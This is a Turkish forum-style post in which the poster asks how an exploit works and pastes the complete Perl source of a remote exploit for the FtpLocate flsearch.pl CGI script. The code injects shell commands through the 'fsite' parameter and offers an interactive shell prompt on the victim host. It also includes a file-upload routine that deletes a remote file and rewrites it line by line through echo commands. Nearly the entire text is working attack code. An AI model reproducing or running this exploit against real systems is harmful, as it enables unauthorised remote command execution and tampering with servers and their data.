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FtpLocate adında bir exploit var, çalışma mantığını anlayamadım. Aşşağıda bunun kodları, dahada aşşağıda onu derlemeye çalıştığım zaman ve birşey anlamadığım şeyin görüntü kaydı var..
#!/usr/bin/perl
#
# FtpLocate <= 2.02 (current) remote exploit
# VERY PRIVATE VERSION
# DO NOT DISTRIBUTE
#
# newbug Tseng [at] chroot.org
#sub my_socket
{
my $s=IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 80,
Proto => "tcp") or die "socket: ";
}
sub ch2hex
{
$chr = $_[0];
$out="";
for($i=0;$i<length($chr);$i++)
{
$ch = substr($chr,$i,1);if($ch eq "\"")
{
$out.="%5c%22";
}elsif($ch eq "\$")
{
$out.="%5c%24";
}
elsif($ch eq "\@")
{
$out.="%5c%40";
}
else
{
$out.="%".sprintf("%2.2x",ord($ch));
}
}
$out;
}
sub upload_file
{
print "local file: ";
chomp($lfile = <STDIN>);
print "remote file: ";
chomp($rfile = <STDIN>);my $socket = &my_socket($host);
print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk";
close $socket;
print "remove $host:$rfile done.\n";my @DATA = `cat $lfile`;
$num=1;
$total = scalar @DATA;
foreach $DATA (@DATA)
{
$DATA = &ch2hex($DATA);
my $socket = &my_socket($host);
print $socket "GET $cgi?query=xx\&fsite=|echo%20\"$DATA\"%20>>$rfile| $junk";
print "Send lfile \"$lfile\" to $host:$rfile ... ($num/$total)\n";
sleep(1);
close $socket;
$num++;
}
}
use IO::Socket::INET;print "FtpLocate flsearch.pl remote exploit\n";
print "host: ";
chomp ($host = <STDIN>);
print "port (80): ";
chomp ($port = <STDIN>);
if($port eq "")
{
$port = 80;
}
print "version 1.0/1.1 (1.0): ";
chomp ($ver = <STDIN>);
if($ver eq "")
{
$ver = "1.0";
}
print "cmd/upload (cmd): "; chomp ($opt = <STDIN>);
if($opt eq "") {
$opt = "cmd";
}
print "cgi path (/cgi-bin/ftplocate/flsearch.pl): ";
chomp ($cgi = <STDIN>);
if($cgi eq "")
{
$cgi = "/cgi-bin/ftplocate/flsearch.pl";
}
if($ver eq "1.0")
{
$junk = "HTTP/1.0\n\n";
}
else
{
$junk = "HTTP/1.1\n" . "Host: $host\n" . "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1" . "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9;text/plain\n" . "Accept-Language: zh-tw,en-us;q=0.7,en;q=0.3" . "Accept-Encoding: gzip,deflate" . "Accept-Charset: Big5,utf-8;q=0.7,*;q=0.7" . "Keep-Alive:300" . "Connection: keep-alive\n" . "\n";
}
if ($opt eq "cmd")
{
while(1){
print "h4ck3r\@[$host]:~\$ ";
chomp ($cmd = <STDIN>);
if($cmd ne "")
{
print "Send command \"$cmd\" to $host ...\n";
$socket = &my_socket($host);
$cmd =~ s/\s/%20/g;print $socket "GET $cgi?query=xx\&fsite=|$cmd| $junk";
print "done.\n";
}
}
}
elsif($opt eq "upload")
{
&upload_file($lfile);
}print "done.\n";
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